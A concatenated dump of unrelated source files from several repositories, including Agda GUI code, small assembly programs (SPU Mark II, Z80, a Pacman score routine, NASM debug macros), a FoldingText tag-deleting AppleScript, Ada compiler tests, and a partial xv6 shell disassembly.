setAttributes : {c : Component}(i : Size)(e : ComponentEls c)(a : properties e)
(ffi : FFIcomponents e)
→ IO GuiLev1Interface i ⊤
setAttributes {frame} i (createC fr) (a , b , c , d) x =
log " setting properties for Frame " λ _ →
do (setChildredLayout x a b c d) λ _ →
return tt
setAttributes {frame} i (add x be frameEl _) (a , as) (ffi , ffis) =
setAttributes i be a ffi >>= λ _ →
setAttributes i frameEl as ffis >>= λ r →
return tt
setAttributes {atomicComp} i (createC (button x)) propColor ffiButton =
do (setAttribButton ffiButton propColor) λ _ →
return tt
setAttributes {atomicComp} i (createC (txtbox y)) propColor ffiTextCtrl =
do (setAttribTextCtrl ffiTextCtrl propColor) λ _ →
return tt
setAttributes {atomicComp} i (add () a b _) y z
getFrameGen : (g : Frame)(cp : FFIcomponents g) → FFIFrame
getFrameGen (createC x) cp = cp
getFrameGen (add buttonFrame g g₁ _) (compg , compg₁) = getFrameGen g₁ compg₁
|
apps/ascii-printer/main.asm | MasterQ32/spu-mark-ii | 13 | 245542 | ; Example application
; Repeatedly prints the values between 0x20 and 0x7F to the
; serial port
.include "../library/bios.inc"
.org APP_START
st UART_TXD, '!'
push 'A'
loop:
st UART_RXD [i1:peek]
add 1
cmp [i0:peek] 0x80
[ex:zero] push ' ' [i1:pop]
[ex:zero] st UART_TXD, '\r'
[ex:zero] st UART_TXD, '\n'
jmp loop
end: |
FoldingText 2 plugins and scripts/FTZapTags.applescript | jessegrosjean/tree-tools | 1 | 287 | property pTitle : "Batch delete tags from current document"
property pVer : "0.2"
property pAuthor : "RobTrew"
property pDescription : "
1. Shows a sorted menu of the different kinds of tags in the current document,
2. allows choice of one or more tag-types (⌘-click to multi-select)
3. deletes all tags of the chosen type(s).
(In case of unintentional deletion, use ⌘Z undo)
"
property pjsListTags : "
function(editor) {
return editor.tree().tags(true).sort();
}
"
property pjsStripTags : "
function(editor, options) {
var tree=editor.tree(), lstTags = options.strip;
tree.nodes().forEach(function (oNode) {
Object.keys(oNode.tags()).forEach(function(strTag) {
if (lstTags.indexOf(strTag) !== -1) {
oNode.removeTag(strTag);
}
});
});
}
"
on run
tell application "FoldingText"
set lstDocs to documents
if lstDocs ≠ {} then
tell item 1 of lstDocs
set lstTagsFound to (evaluate script pjsListTags)
if lstTagsFound ≠ {} then
-- CHOOSE WHICH TAG-TYPES TO DELETE
set varChoice to choose from list lstTagsFound with title pTitle & tab & pVer with prompt ¬
"Choose tag types to delete" default items {item 1 of lstTagsFound} ¬
OK button name "OK" cancel button name "Cancel" with empty selection allowed and multiple selections allowed
if varChoice = false then return missing value
set lstTagsChosen to varChoice
-- AND DELETE ALL INSTANCES OF THE CHOSEN TAG TYPES
set varResult to (evaluate script pjsStripTags with options {strip:lstTagsChosen})
end if
end tell
end if
end tell
end run
|
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/loadstr.asm | gb-archive/really-old-stuff | 10 | 17270 | #include once <alloc.asm>
; Loads a string (ptr) from HL
; and duplicates it on dynamic memory again
; Finally, it returns result pointer in HL
__ILOADSTR: ; This is the indirect pointer entry HL = (HL)
ld a, h
or l
ret z
ld a, (hl)
inc hl
ld h, (hl)
ld l, a
__LOADSTR: ; __FASTCALL__ entry
ld a, h
or l
ret z ; Return if NULL
ld c, (hl)
inc hl
ld b, (hl)
dec hl ; BC = LEN(a$)
inc bc
inc bc ; BC = LEN(a$) + 2 (two bytes for length)
push hl
push bc
call __MEM_ALLOC
pop bc ; Recover length
pop de ; Recover origin
ld a, h
or l
ret z ; Return if NULL (No memory)
ex de, hl ; ldir takes HL as source, DE as destiny, so SWAP HL,DE
push de ; Saves destiny start
ldir ; Copies string (length number included)
pop hl ; Recovers destiny in hl as result
ret
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c85005g.ada | best08618/asylo | 7 | 27458 | -- C85005G.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT ANY SUBTYPE CONSTRAINT IMPOSED BY THE TYPE MARK USED
-- IN THE RENAMING DECLARATION IS IGNORED, AND THE SUBTYPE
-- CONSTRAINT ASSOCIATED WITH THE RENAMED VARIABLE IS USED INSTEAD.
-- *** NOTE: This test has been modified since ACVC version 1.11 to -- 9X
-- *** remove incompatibilities associated with the transition -- 9X
-- *** to Ada 9X. -- 9X
-- *** -- 9X
-- HISTORY:
-- JET 07/26/88 CREATED ORIGINAL TEST.
-- MRM 03/30/93 REMOVED NUMERIC_ERROR FOR 9X COMPATIBILITY
WITH REPORT; USE REPORT;
PROCEDURE C85005G IS
SUBTYPE INT IS INTEGER RANGE -100 .. 100;
I : INTEGER := IDENT_INT(INTEGER'LAST);
J : INT := IDENT_INT(INT'LAST);
DG1 : INTEGER := IDENT_INT(INTEGER'LAST);
DG2 : INT := IDENT_INT(INT'LAST);
XI : INT RENAMES I;
XJ : INTEGER RENAMES J;
GENERIC
G1 : IN OUT INT;
G2 : IN OUT INTEGER;
PROCEDURE GEN;
PROCEDURE GEN IS
XG1 : INT RENAMES G1;
XG2 : INTEGER RENAMES G2;
BEGIN
IF XG1 /= INTEGER'LAST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - G1");
END IF;
XG1 := IDENT_INT(INTEGER'FIRST);
IF XG1 /= INTEGER'FIRST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - G2");
END IF;
IF XG2 /= INT'LAST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - G3");
END IF;
XG2 := IDENT_INT(INT'FIRST);
IF XG2 /= INT'FIRST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - G4");
END IF;
BEGIN
XG2 := IDENT_INT(INTEGER'LAST);
FAILED ("NO EXCEPTION RAISED BY XG2 := INTEGER'LAST");
IF NOT EQUAL(XG2,XG2) THEN
COMMENT ("DON'T OPTIMIZE XG2");
END IF;
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION (G)");
END;
END GEN;
PROCEDURE PROC IS NEW GEN(DG1, DG2);
BEGIN
TEST ("C85005G", "CHECK THAT ANY SUBTYPE CONSTRAINT IMPOSED BY " &
"THE TYPE MARK USED IN THE RENAMING " &
"DECLARATION IS IGNORED, AND THE SUBTYPE " &
"CONSTRAINT ASSOCIATED WITH THE RENAMED " &
"VARIABLE IS USED INSTEAD");
IF XI /= INTEGER'LAST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - 1");
END IF;
XI := IDENT_INT(INTEGER'FIRST);
IF XI /= INTEGER'FIRST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - 2");
END IF;
IF XJ /= INT'LAST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - 3");
END IF;
XJ := IDENT_INT(INT'FIRST);
IF XJ /= INT'FIRST THEN
FAILED("INCORRECT VALUE OF RENAMING VARIABLE - 4");
END IF;
BEGIN
XJ := IDENT_INT(INTEGER'LAST);
FAILED ("NO EXCEPTION RAISED BY XJ := INTEGER'LAST");
IF NOT EQUAL(XJ,XJ) THEN
COMMENT ("DON'T OPTIMIZE XJ");
END IF;
EXCEPTION
WHEN CONSTRAINT_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION - 1");
END;
PROC;
RESULT;
EXCEPTION
WHEN OTHERS =>
FAILED("UNEXPECTED EXCEPTION - 2");
RESULT;
END C85005G;
|
source/resolver/program-simple_resolvers.ads | reznikmm/gela | 0 | 30114 | -- SPDX-FileCopyrightText: 2020 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Elements.Expressions;
with Program.Elements.Identifiers;
with Program.Cross_Reference_Updaters;
private
package Program.Simple_Resolvers is
pragma Preelaborate;
type Simple_Resolver is limited interface;
type Simple_Resolver_Access is
access all Simple_Resolver'Class with Storage_Size => 0;
not overriding procedure Resolve_Identifier
(Self : Simple_Resolver;
Name : not null Program.Elements.Identifiers.Identifier_Access;
Setter : not null
Program.Cross_Reference_Updaters.Cross_Reference_Updater_Access)
is abstract;
procedure Resolve
(Self : aliased in out Simple_Resolver'Class;
Name : Program.Elements.Expressions.Expression_Access;
Setter : not null
Program.Cross_Reference_Updaters.Cross_Reference_Updater_Access);
-- Resolve Name and call Setter.Set_Corresponding_Defining_Name
end Program.Simple_Resolvers;
|
Application/AssemblyCode/working_and_tmp_asm_files/SCORE_hundreds.asm | t0ddpar0dy/Handmade_Pacman | 0 | 97094 | // simulate caller
LUI 51 r1
ORI 246 r1 // current score address
MOVI 0 r5 // set current score to 0
STOR r5 r1
MOVI 50 r12
JAL r9 init_score
init_score:
// find location to write
LUI 63 r0 // top left most glyph address
ORI 255 r0
ADDI -106 r0
ADDI -106 r0
ADDI -106 r0
ADDI -106 r0 // offset rows by 4 down
ADDI -22 r0 // and 22 columns
// initialize 5 places to 0
MOVI 169 r1 // 10,000
STOR r1 r0
ADDI -1 r0
MOVI 169 r1 // 1,000
STOR r1 r0
ADDI -1 r0
MOVI 169 r1 // 100
STOR r1 r0
ADDI -1 r0
MOVI 169 r1 // 10
STOR r1 r0
MOV r0 r11 //[for testing] save glylph address
ADDI -1 r0
MOVI 169 r1 // 1
STOR r1 r0
ADDI 5 r0
LUI 255 r2
ORI 235 r2
MOVI 250 r0
STOR r0 r2
check_start:
LUI 255 r2
ORI 234 r2
LOAD r2 r2
CMPI 1 r2
BEQ update_score
BUC check_start
update_score: //save score addifier to r12 (50, 100, 1000)
LUI 255 r2
ORI 235 r2
MOVI 250 r0
STOR r0 r2
LUI 51 r3
ORI 246 r3 // current score address
LOAD r5 r3 // load current score from memory to increment
ADD r12 r5 // add addifier to current score
STOR r5 r3 // store new score to memory
CMPI 50 r12 // if r12 is 50, toggle 10's (5/0)
BEQ toggle_tens
toggle_tens:
// load glyph and check value
LUI 63 r4 // top left most glyph address
ORI 255 r4
ADDI -106 r4
ADDI -106 r4
ADDI -106 r4
ADDI -106 r4 // offset rows by 4 down
ADDI -22 r4 // and 22 columns
ADDI -3 r4 // 10's place
LOAD r6 r4
MOVI 169 r10
CMP r10 r6
BEQ load_five
BUC nine_zero
load_five:
MOVI 174 r8
STOR r8 r4 // write 5 to ten's
BUC check_start
nine_zero:
STOR r10 r4 // write 0 to current location
ADDI 1 r4 // get next highest location
// ****** check if out of bounds????
BUC scroll_hundreds
scroll_hundreds:
ADDI 1 r4
LOAD r5 r4
MOVI 178 r0
CMP r0 r5
BNE plus_one
BUC scroll_thousands
scroll_thousands
ADDI 1 r4
LOAD r5 r4
MOVI 178 r0
CMP r0 r5
BNE plus_one
BUC scroll_ten_thousands
scroll_ten_thousands
ADDI 1 r4
LOAD r5 r4
MOVI 178 r0
CMP r0 r5
BNE plus_one
BUC top
plus_one:
LOAD r0 r4
ADDI 1 r0
STOR r0 r4
BUC check_start
|
common/debug.asm | temisu/BR4096 | 8 | 160399 | <reponame>temisu/BR4096
; Copyright (C) <NAME>
%macro DEBUG_PLAIN 1
%ifdef DEBUG_BUILD
[section .data]
%%dbg_text:
db %1
db 0
__SECT__
mov edi,%%dbg_text
LIBCALL _printf
%endif
%endm
%macro DEBUG 1
%ifdef DEBUG_BUILD
pushad
mov esi,__LINE__
DEBUG_PLAIN {"[",__FILE__,":%d] ",%1,10}
popad
%endif
%endm
%macro DEBUG 2
%ifdef DEBUG_BUILD
pushad
push dword %2
pop edx
mov esi,__LINE__
DEBUG_PLAIN {"[",__FILE__,":%d] ",%1,10}
popad
%endif
%endm
%macro DEBUG 3
%ifdef DEBUG_BUILD
pushad
push dword %3
push dword %2
pop edx
pop ecx
mov esi,__LINE__
DEBUG_PLAIN {"[",__FILE__,":%d] ",%1,10}
popad
%endif
%endm
|
sh.asm | bilalsaad/realos | 0 | 10892 |
_sh: file format elf32-i386
Disassembly of section .text:
00000000 <strcmpaa>:
void panic(char*);
struct cmd *parsecmd(char*);
void display_history();
int
strcmpaa(const char *p, const char *q, uint n)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
while(n > 0 && *p && *p == *q)
3: eb 0c jmp 11 <strcmpaa+0x11>
n--, p++, q++;
5: 83 6d 10 01 subl $0x1,0x10(%ebp)
9: 83 45 08 01 addl $0x1,0x8(%ebp)
d: 83 45 0c 01 addl $0x1,0xc(%ebp)
struct cmd *parsecmd(char*);
void display_history();
int
strcmpaa(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
11: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
15: 74 1a je 31 <strcmpaa+0x31>
17: 8b 45 08 mov 0x8(%ebp),%eax
1a: 0f b6 00 movzbl (%eax),%eax
1d: 84 c0 test %al,%al
1f: 74 10 je 31 <strcmpaa+0x31>
21: 8b 45 08 mov 0x8(%ebp),%eax
24: 0f b6 10 movzbl (%eax),%edx
27: 8b 45 0c mov 0xc(%ebp),%eax
2a: 0f b6 00 movzbl (%eax),%eax
2d: 38 c2 cmp %al,%dl
2f: 74 d4 je 5 <strcmpaa+0x5>
n--, p++, q++;
if(n == 0)
31: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
35: 75 07 jne 3e <strcmpaa+0x3e>
return 0;
37: b8 00 00 00 00 mov $0x0,%eax
3c: eb 16 jmp 54 <strcmpaa+0x54>
return (uchar)*p - (uchar)*q;
3e: 8b 45 08 mov 0x8(%ebp),%eax
41: 0f b6 00 movzbl (%eax),%eax
44: 0f b6 d0 movzbl %al,%edx
47: 8b 45 0c mov 0xc(%ebp),%eax
4a: 0f b6 00 movzbl (%eax),%eax
4d: 0f b6 c0 movzbl %al,%eax
50: 29 c2 sub %eax,%edx
52: 89 d0 mov %edx,%eax
}
54: 5d pop %ebp
55: c3 ret
00000056 <runcmd>:
// Execute cmd. Never returns.
void
runcmd(struct cmd *cmd)
{
56: 55 push %ebp
57: 89 e5 mov %esp,%ebp
59: 83 ec 38 sub $0x38,%esp
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
5c: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
60: 75 05 jne 67 <runcmd+0x11>
exit();
62: e8 c0 0f 00 00 call 1027 <exit>
switch(cmd->type){
67: 8b 45 08 mov 0x8(%ebp),%eax
6a: 8b 00 mov (%eax),%eax
6c: 83 f8 05 cmp $0x5,%eax
6f: 77 09 ja 7a <runcmd+0x24>
71: 8b 04 85 b8 15 00 00 mov 0x15b8(,%eax,4),%eax
78: ff e0 jmp *%eax
default:
panic("runcmd");
7a: c7 04 24 8c 15 00 00 movl $0x158c,(%esp)
81: e8 46 03 00 00 call 3cc <panic>
case EXEC:
ecmd = (struct execcmd*)cmd;
86: 8b 45 08 mov 0x8(%ebp),%eax
89: 89 45 f4 mov %eax,-0xc(%ebp)
if(ecmd->argv[0] == 0)
8c: 8b 45 f4 mov -0xc(%ebp),%eax
8f: 8b 40 04 mov 0x4(%eax),%eax
92: 85 c0 test %eax,%eax
94: 75 05 jne 9b <runcmd+0x45>
exit();
96: e8 8c 0f 00 00 call 1027 <exit>
exec(ecmd->argv[0], ecmd->argv);
9b: 8b 45 f4 mov -0xc(%ebp),%eax
9e: 8d 50 04 lea 0x4(%eax),%edx
a1: 8b 45 f4 mov -0xc(%ebp),%eax
a4: 8b 40 04 mov 0x4(%eax),%eax
a7: 89 54 24 04 mov %edx,0x4(%esp)
ab: 89 04 24 mov %eax,(%esp)
ae: e8 ac 0f 00 00 call 105f <exec>
printf(2, "exec %s failed\n", ecmd->argv[0]);
b3: 8b 45 f4 mov -0xc(%ebp),%eax
b6: 8b 40 04 mov 0x4(%eax),%eax
b9: 89 44 24 08 mov %eax,0x8(%esp)
bd: c7 44 24 04 93 15 00 movl $0x1593,0x4(%esp)
c4: 00
c5: c7 04 24 02 00 00 00 movl $0x2,(%esp)
cc: e8 ee 10 00 00 call 11bf <printf>
break;
d1: e9 86 01 00 00 jmp 25c <runcmd+0x206>
case REDIR:
rcmd = (struct redircmd*)cmd;
d6: 8b 45 08 mov 0x8(%ebp),%eax
d9: 89 45 f0 mov %eax,-0x10(%ebp)
close(rcmd->fd);
dc: 8b 45 f0 mov -0x10(%ebp),%eax
df: 8b 40 14 mov 0x14(%eax),%eax
e2: 89 04 24 mov %eax,(%esp)
e5: e8 65 0f 00 00 call 104f <close>
if(open(rcmd->file, rcmd->mode) < 0){
ea: 8b 45 f0 mov -0x10(%ebp),%eax
ed: 8b 50 10 mov 0x10(%eax),%edx
f0: 8b 45 f0 mov -0x10(%ebp),%eax
f3: 8b 40 08 mov 0x8(%eax),%eax
f6: 89 54 24 04 mov %edx,0x4(%esp)
fa: 89 04 24 mov %eax,(%esp)
fd: e8 65 0f 00 00 call 1067 <open>
102: 85 c0 test %eax,%eax
104: 79 23 jns 129 <runcmd+0xd3>
printf(2, "open %s failed\n", rcmd->file);
106: 8b 45 f0 mov -0x10(%ebp),%eax
109: 8b 40 08 mov 0x8(%eax),%eax
10c: 89 44 24 08 mov %eax,0x8(%esp)
110: c7 44 24 04 a3 15 00 movl $0x15a3,0x4(%esp)
117: 00
118: c7 04 24 02 00 00 00 movl $0x2,(%esp)
11f: e8 9b 10 00 00 call 11bf <printf>
exit();
124: e8 fe 0e 00 00 call 1027 <exit>
}
runcmd(rcmd->cmd);
129: 8b 45 f0 mov -0x10(%ebp),%eax
12c: 8b 40 04 mov 0x4(%eax),%eax
12f: 89 04 24 mov %eax,(%esp)
132: e8 1f ff ff ff call 56 <runcmd>
break;
137: e9 20 01 00 00 jmp 25c <runcmd+0x206>
case LIST:
lcmd = (struct listcmd*)cmd;
13c: 8b 45 08 mov 0x8(%ebp),%eax
13f: 89 45 ec mov %eax,-0x14(%ebp)
if(fork1() == 0)
142: e8 ab 02 00 00 call 3f2 <fork1>
147: 85 c0 test %eax,%eax
149: 75 0e jne 159 <runcmd+0x103>
runcmd(lcmd->left);
14b: 8b 45 ec mov -0x14(%ebp),%eax
14e: 8b 40 04 mov 0x4(%eax),%eax
151: 89 04 24 mov %eax,(%esp)
154: e8 fd fe ff ff call 56 <runcmd>
wait();
159: e8 d1 0e 00 00 call 102f <wait>
runcmd(lcmd->right);
15e: 8b 45 ec mov -0x14(%ebp),%eax
161: 8b 40 08 mov 0x8(%eax),%eax
164: 89 04 24 mov %eax,(%esp)
167: e8 ea fe ff ff call 56 <runcmd>
break;
16c: e9 eb 00 00 00 jmp 25c <runcmd+0x206>
case PIPE:
pcmd = (struct pipecmd*)cmd;
171: 8b 45 08 mov 0x8(%ebp),%eax
174: 89 45 e8 mov %eax,-0x18(%ebp)
if(pipe(p) < 0)
177: 8d 45 dc lea -0x24(%ebp),%eax
17a: 89 04 24 mov %eax,(%esp)
17d: e8 b5 0e 00 00 call 1037 <pipe>
182: 85 c0 test %eax,%eax
184: 79 0c jns 192 <runcmd+0x13c>
panic("pipe");
186: c7 04 24 b3 15 00 00 movl $0x15b3,(%esp)
18d: e8 3a 02 00 00 call 3cc <panic>
if(fork1() == 0){
192: e8 5b 02 00 00 call 3f2 <fork1>
197: 85 c0 test %eax,%eax
199: 75 3b jne 1d6 <runcmd+0x180>
close(1);
19b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a2: e8 a8 0e 00 00 call 104f <close>
dup(p[1]);
1a7: 8b 45 e0 mov -0x20(%ebp),%eax
1aa: 89 04 24 mov %eax,(%esp)
1ad: e8 ed 0e 00 00 call 109f <dup>
close(p[0]);
1b2: 8b 45 dc mov -0x24(%ebp),%eax
1b5: 89 04 24 mov %eax,(%esp)
1b8: e8 92 0e 00 00 call 104f <close>
close(p[1]);
1bd: 8b 45 e0 mov -0x20(%ebp),%eax
1c0: 89 04 24 mov %eax,(%esp)
1c3: e8 87 0e 00 00 call 104f <close>
runcmd(pcmd->left);
1c8: 8b 45 e8 mov -0x18(%ebp),%eax
1cb: 8b 40 04 mov 0x4(%eax),%eax
1ce: 89 04 24 mov %eax,(%esp)
1d1: e8 80 fe ff ff call 56 <runcmd>
}
if(fork1() == 0){
1d6: e8 17 02 00 00 call 3f2 <fork1>
1db: 85 c0 test %eax,%eax
1dd: 75 3b jne 21a <runcmd+0x1c4>
close(0);
1df: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1e6: e8 64 0e 00 00 call 104f <close>
dup(p[0]);
1eb: 8b 45 dc mov -0x24(%ebp),%eax
1ee: 89 04 24 mov %eax,(%esp)
1f1: e8 a9 0e 00 00 call 109f <dup>
close(p[0]);
1f6: 8b 45 dc mov -0x24(%ebp),%eax
1f9: 89 04 24 mov %eax,(%esp)
1fc: e8 4e 0e 00 00 call 104f <close>
close(p[1]);
201: 8b 45 e0 mov -0x20(%ebp),%eax
204: 89 04 24 mov %eax,(%esp)
207: e8 43 0e 00 00 call 104f <close>
runcmd(pcmd->right);
20c: 8b 45 e8 mov -0x18(%ebp),%eax
20f: 8b 40 08 mov 0x8(%eax),%eax
212: 89 04 24 mov %eax,(%esp)
215: e8 3c fe ff ff call 56 <runcmd>
}
close(p[0]);
21a: 8b 45 dc mov -0x24(%ebp),%eax
21d: 89 04 24 mov %eax,(%esp)
220: e8 2a 0e 00 00 call 104f <close>
close(p[1]);
225: 8b 45 e0 mov -0x20(%ebp),%eax
228: 89 04 24 mov %eax,(%esp)
22b: e8 1f 0e 00 00 call 104f <close>
wait();
230: e8 fa 0d 00 00 call 102f <wait>
wait();
235: e8 f5 0d 00 00 call 102f <wait>
break;
23a: eb 20 jmp 25c <runcmd+0x206>
case BACK:
bcmd = (struct backcmd*)cmd;
23c: 8b 45 08 mov 0x8(%ebp),%eax
23f: 89 45 e4 mov %eax,-0x1c(%ebp)
if(fork1() == 0)
242: e8 ab 01 00 00 call 3f2 <fork1>
247: 85 c0 test %eax,%eax
249: 75 10 jne 25b <runcmd+0x205>
runcmd(bcmd->cmd);
24b: 8b 45 e4 mov -0x1c(%ebp),%eax
24e: 8b 40 04 mov 0x4(%eax),%eax
251: 89 04 24 mov %eax,(%esp)
254: e8 fd fd ff ff call 56 <runcmd>
break;
259: eb 00 jmp 25b <runcmd+0x205>
25b: 90 nop
}
exit();
25c: e8 c6 0d 00 00 call 1027 <exit>
00000261 <getcmd>:
}
int
getcmd(char *buf, int nbuf)
{
261: 55 push %ebp
262: 89 e5 mov %esp,%ebp
264: 83 ec 18 sub $0x18,%esp
printf(2, "$ ");
267: c7 44 24 04 d0 15 00 movl $0x15d0,0x4(%esp)
26e: 00
26f: c7 04 24 02 00 00 00 movl $0x2,(%esp)
276: e8 44 0f 00 00 call 11bf <printf>
memset(buf, 0, nbuf);
27b: 8b 45 0c mov 0xc(%ebp),%eax
27e: 89 44 24 08 mov %eax,0x8(%esp)
282: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
289: 00
28a: 8b 45 08 mov 0x8(%ebp),%eax
28d: 89 04 24 mov %eax,(%esp)
290: e8 e5 0b 00 00 call e7a <memset>
gets(buf, nbuf);
295: 8b 45 0c mov 0xc(%ebp),%eax
298: 89 44 24 04 mov %eax,0x4(%esp)
29c: 8b 45 08 mov 0x8(%ebp),%eax
29f: 89 04 24 mov %eax,(%esp)
2a2: e8 2a 0c 00 00 call ed1 <gets>
if(buf[0] == 0) // EOF
2a7: 8b 45 08 mov 0x8(%ebp),%eax
2aa: 0f b6 00 movzbl (%eax),%eax
2ad: 84 c0 test %al,%al
2af: 75 07 jne 2b8 <getcmd+0x57>
return -1;
2b1: b8 ff ff ff ff mov $0xffffffff,%eax
2b6: eb 05 jmp 2bd <getcmd+0x5c>
return 0;
2b8: b8 00 00 00 00 mov $0x0,%eax
}
2bd: c9 leave
2be: c3 ret
000002bf <main>:
int
main(void)
{
2bf: 55 push %ebp
2c0: 89 e5 mov %esp,%ebp
2c2: 83 e4 f0 and $0xfffffff0,%esp
2c5: 83 ec 20 sub $0x20,%esp
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
2c8: eb 15 jmp 2df <main+0x20>
if(fd >= 3){
2ca: 83 7c 24 1c 02 cmpl $0x2,0x1c(%esp)
2cf: 7e 0e jle 2df <main+0x20>
close(fd);
2d1: 8b 44 24 1c mov 0x1c(%esp),%eax
2d5: 89 04 24 mov %eax,(%esp)
2d8: e8 72 0d 00 00 call 104f <close>
break;
2dd: eb 1f jmp 2fe <main+0x3f>
{
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
2df: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
2e6: 00
2e7: c7 04 24 d3 15 00 00 movl $0x15d3,(%esp)
2ee: e8 74 0d 00 00 call 1067 <open>
2f3: 89 44 24 1c mov %eax,0x1c(%esp)
2f7: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp)
2fc: 79 cc jns 2ca <main+0xb>
break;
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
2fe: e9 a8 00 00 00 jmp 3ab <main+0xec>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
303: 0f b6 05 80 1b 00 00 movzbl 0x1b80,%eax
30a: 3c 63 cmp $0x63,%al
30c: 75 5c jne 36a <main+0xab>
30e: 0f b6 05 81 1b 00 00 movzbl 0x1b81,%eax
315: 3c 64 cmp $0x64,%al
317: 75 51 jne 36a <main+0xab>
319: 0f b6 05 82 1b 00 00 movzbl 0x1b82,%eax
320: 3c 20 cmp $0x20,%al
322: 75 46 jne 36a <main+0xab>
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
324: c7 04 24 80 1b 00 00 movl $0x1b80,(%esp)
32b: e8 23 0b 00 00 call e53 <strlen>
330: 83 e8 01 sub $0x1,%eax
333: c6 80 80 1b 00 00 00 movb $0x0,0x1b80(%eax)
if(chdir(buf+3) < 0)
33a: c7 04 24 83 1b 00 00 movl $0x1b83,(%esp)
341: e8 51 0d 00 00 call 1097 <chdir>
346: 85 c0 test %eax,%eax
348: 79 1e jns 368 <main+0xa9>
printf(2, "cannot cd %s\n", buf+3);
34a: c7 44 24 08 83 1b 00 movl $0x1b83,0x8(%esp)
351: 00
352: c7 44 24 04 db 15 00 movl $0x15db,0x4(%esp)
359: 00
35a: c7 04 24 02 00 00 00 movl $0x2,(%esp)
361: e8 59 0e 00 00 call 11bf <printf>
continue;
366: eb 43 jmp 3ab <main+0xec>
368: eb 41 jmp 3ab <main+0xec>
} else if (strcmp("history\n", buf) == 0) {
36a: c7 44 24 04 80 1b 00 movl $0x1b80,0x4(%esp)
371: 00
372: c7 04 24 e9 15 00 00 movl $0x15e9,(%esp)
379: e8 96 0a 00 00 call e14 <strcmp>
37e: 85 c0 test %eax,%eax
380: 75 07 jne 389 <main+0xca>
display_history();
382: e8 e7 09 00 00 call d6e <display_history>
continue;
387: eb 22 jmp 3ab <main+0xec>
}
if(fork1() == 0)
389: e8 64 00 00 00 call 3f2 <fork1>
38e: 85 c0 test %eax,%eax
390: 75 14 jne 3a6 <main+0xe7>
runcmd(parsecmd(buf));
392: c7 04 24 80 1b 00 00 movl $0x1b80,(%esp)
399: e8 c9 03 00 00 call 767 <parsecmd>
39e: 89 04 24 mov %eax,(%esp)
3a1: e8 b0 fc ff ff call 56 <runcmd>
wait();
3a6: e8 84 0c 00 00 call 102f <wait>
break;
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
3ab: c7 44 24 04 64 00 00 movl $0x64,0x4(%esp)
3b2: 00
3b3: c7 04 24 80 1b 00 00 movl $0x1b80,(%esp)
3ba: e8 a2 fe ff ff call 261 <getcmd>
3bf: 85 c0 test %eax,%eax
3c1: 0f 89 3c ff ff ff jns 303 <main+0x44>
}
if(fork1() == 0)
runcmd(parsecmd(buf));
wait();
}
exit();
3c7: e8 5b 0c 00 00 call 1027 <exit>
000003cc <panic>:
}
void
panic(char *s)
{
3cc: 55 push %ebp
3cd: 89 e5 mov %esp,%ebp
3cf: 83 ec 18 sub $0x18,%esp
printf(2, "%s\n", s);
3d2: 8b 45 08 mov 0x8(%ebp),%eax
3d5: 89 44 24 08 mov %eax,0x8(%esp)
3d9: c7 44 24 04 f2 15 00 movl $0x15f2,0x4(%esp)
3e0: 00
3e1: c7 04 24 02 00 00 00 movl $0x2,(%esp)
3e8: e8 d2 0d 00 00 call 11bf <printf>
exit();
3ed: e8 35 0c 00 00 call 1027 <exit>
000003f2 <fork1>:
}
int
fork1(void)
{
3f2: 55 push %ebp
3f3: 89 e5 mov %esp,%ebp
3f5: 83 ec 28 sub $0x28,%esp
int pid;
pid = fork();
3f8: e8 22 0c 00 00 call 101f <fork>
